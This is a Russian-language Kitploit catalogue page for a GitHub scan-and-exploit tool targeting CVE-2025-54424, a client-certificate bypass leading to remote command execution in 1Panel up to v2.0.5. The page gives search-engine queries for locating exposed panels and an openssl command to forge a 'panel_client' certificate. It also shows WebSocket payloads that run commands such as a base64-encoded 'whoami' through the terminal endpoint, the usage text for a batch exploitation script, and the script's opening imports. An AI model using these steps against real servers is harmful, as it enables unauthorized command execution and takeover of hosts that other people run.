Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-54424 — CVE-2025-54424: 1Panel Обход сертификата клиента RCE-уязвимость, универсальный инструмент (сканирование + эксплуатация) | Kitploit
Инструменты/GitHubGitHub/mr-xn/cve-2025-54424
Сканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеИнструмент Удаленного ДоступаArchived
GitHubmr-xn/cve-2025-54424

CVE-2025-54424

CVE-2025-54424: 1Panel Обход сертификата клиента RCE-уязвимость, универсальный инструмент (сканирование + эксплуатация)

Репозиторий
591161 год назадЕщё не проверено
Сайт

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-54424

CVE-2025-54424: Инструмент для эксплуатации RCE-уязвимости с обходом сертификата клиента в 1Panel (сканирование + эксплуатация)

Краткое описание уязвимости

1Panel - это современная панель управления Linux с открытым исходным кодом, предоставляющая графический интерфейс для развертывания сайтов, управления серверами и запуска служб.

В затронутых версиях политика TLS-аутентификации на стороне Agent установлена как tls.RequireAnyClientCert, что требует предоставления сертификата, но не проверяет его доверенность. Злоумышленник может обойти проверку TLS с помощью самоподписанного сертификата и подделать поле CN как panel_client, обходя проверку на уровне приложения. В конечном итоге злоумышленник может подделать сертификат для неавторизованного вызова интерфейса выполнения команд, что приводит к уязвимости удаленного выполнения команд.

Затронутые версии

<= v2.0.5

Синтаксис поиска

Строки поиска для hunter и fofa:

cert.subject_org=="FIT2CLOUD"&&ip.port="9999" || cert.subject.suffix=="panel_server"

cert.subject.org="FIT2CLOUD" && port="9999" && protocol="tls" || cert.subject.cn="panel_server"

Анализ уязвимости

копия части уведомления об уязвимости из GitHub

  • Сначала вводится понятие Core и Agent в 1panel v2. После выхода новой версии 1panel добавил функцию управления узлами, позволяющую управлять другими хостами путем добавления узлов.
  • Протокол HTTPS, используемый для связи между Core и Agent, не полностью проверяет подлинность сертификатов, что приводит к неавторизованному доступу к интерфейсам. Поскольку в 1panel существует множество интерфейсов выполнения команд или с высокими привилегиями, это приводит к RCE.

Процесс аудита кода

  1. Сначала перейдем к файлу маршрутизации HTTP Agent agent/init/router/router.go

  1. Обнаружено, что функция Routers вызывает функцию Certificate для глобальной проверки agent/middleware/certificate.go

  2. Обнаружено, что функция Certificate проверяет, было ли установлено сертификатное соединение через c.Request.TLS.HandshakeComplete

  3. Поскольку проверка истинности c.Request.TLS.HandshakeComplete определяется в функции Start файла agent/server/server.go с помощью tls.RequireAnyClientCert Примечание: здесь используется tls.RequireAnyClientCert, а не tls.RequireAndVerifyClientCert. RequireAnyClientCert требует от клиента только предоставления сертификата, но не проверяет CA, подписавший сертификат, поэтому любой самоподписанный сертификат может пройти рукопожатие TLS.

  4. Далее в функции Certificate другие проверки проверяют только то, что поле CN сертификата равно panel_client, но не проверяют издателя сертификата. В итоге обнаружено, что WebSocket-соединение может обойти проверку Proxy-ID.

  5. В проекте существует множество WebSocket-интерфейсов.

  • Интерфейс Process WebSocket (позволяет получить чувствительную информацию, такую как все процессы, используя описанную выше проблему) Адрес маршрута: /process/ws Формат запроса следующий:
{
  "type": "ps",           // тип данных: ps(процессы), ssh(SSH-сессии), net(сетевые соединения), wget(прогресс загрузки)
  "pid": 123,             // опционально, указать ID процесса для фильтрации
  "name": "process_name", // опционально, фильтр по имени процесса
  "username": "user"      // опционально, фильтр по имени пользователя
}

  • Интерфейс Terminal SSH WebSocket (позволяет выполнять произвольные команды, используя описанную выше проблему) Адрес маршрута: /hosts/terminal Формат запроса следующий:
{
  "type": "cmd",
  "data": "d2hvYW1pCg=="  // base64-кодировка "whoami", не забудьте добавить символ новой строки.
}

  • Интерфейс Container Terminal WebSocket (интерфейс выполнения команд в контейнере) Адрес маршрута: /containers/terminal
  • Интерфейс File Download Process WebSocket (автоматическая отправка информации о прогрессе загрузки) Адрес маршрута: /files/wget/process

Воспроизведение уязвимости

Ручное воспроизведение

  1. Создание сертификата

openssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"

  1. Загрузите сгенерированные panel_client.crt и panel_client.key в Burp, откройте ws-запрос, установите цель и начните запрос.

Пакетное сканирование

Используйте разработанный мной скрипт CVE-2025-54424.py для пакетного сканирования и эксплуатации. Инструкция по использованию инструмента:

Установите необходимые зависимости: pip install websocket-client cryptography PySocks requests

usage: CVE-2025-54424.py [-h] (-u URL | -f FILE) [-o OUTPUT] [-t THREADS]
                         [--proxy PROXY]

1Panel 客户端证书绕过RCE漏洞 一体化工具 (扫描+利用)
作者: Mrxn https://github.com/Mr-xn

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     单个目标,进入利用模式。例如: 192.168.1.100:8080
  -f FILE, --file FILE  目标文件,进入批量扫描模式。
  -o OUTPUT, --output OUTPUT
                        [扫描模式] 保存漏洞结果的文件名。
  -t THREADS, --threads THREADS
                        [扫描模式] 并发线程数。
  --proxy PROXY         为所有请求设置代理。例如: http://127.0.0.1:8080

Например, одиночная проверка + выполнение команд (интерактивное выполнение команд через SSH) показан на рисунке ниже

import base64
import ssl
import sys
import json
import os
import tempfile
import argparse
import requests
import websocket
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import datetime

# 禁用 requests 库在禁用SSL验证时产生的警告
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# --- 全局变量和线程锁 ---
print_lock = threading.Lock()
exploit_running = True
vulnerable_hosts = []

# --- 核心功能函数 ---
Скачать инструмент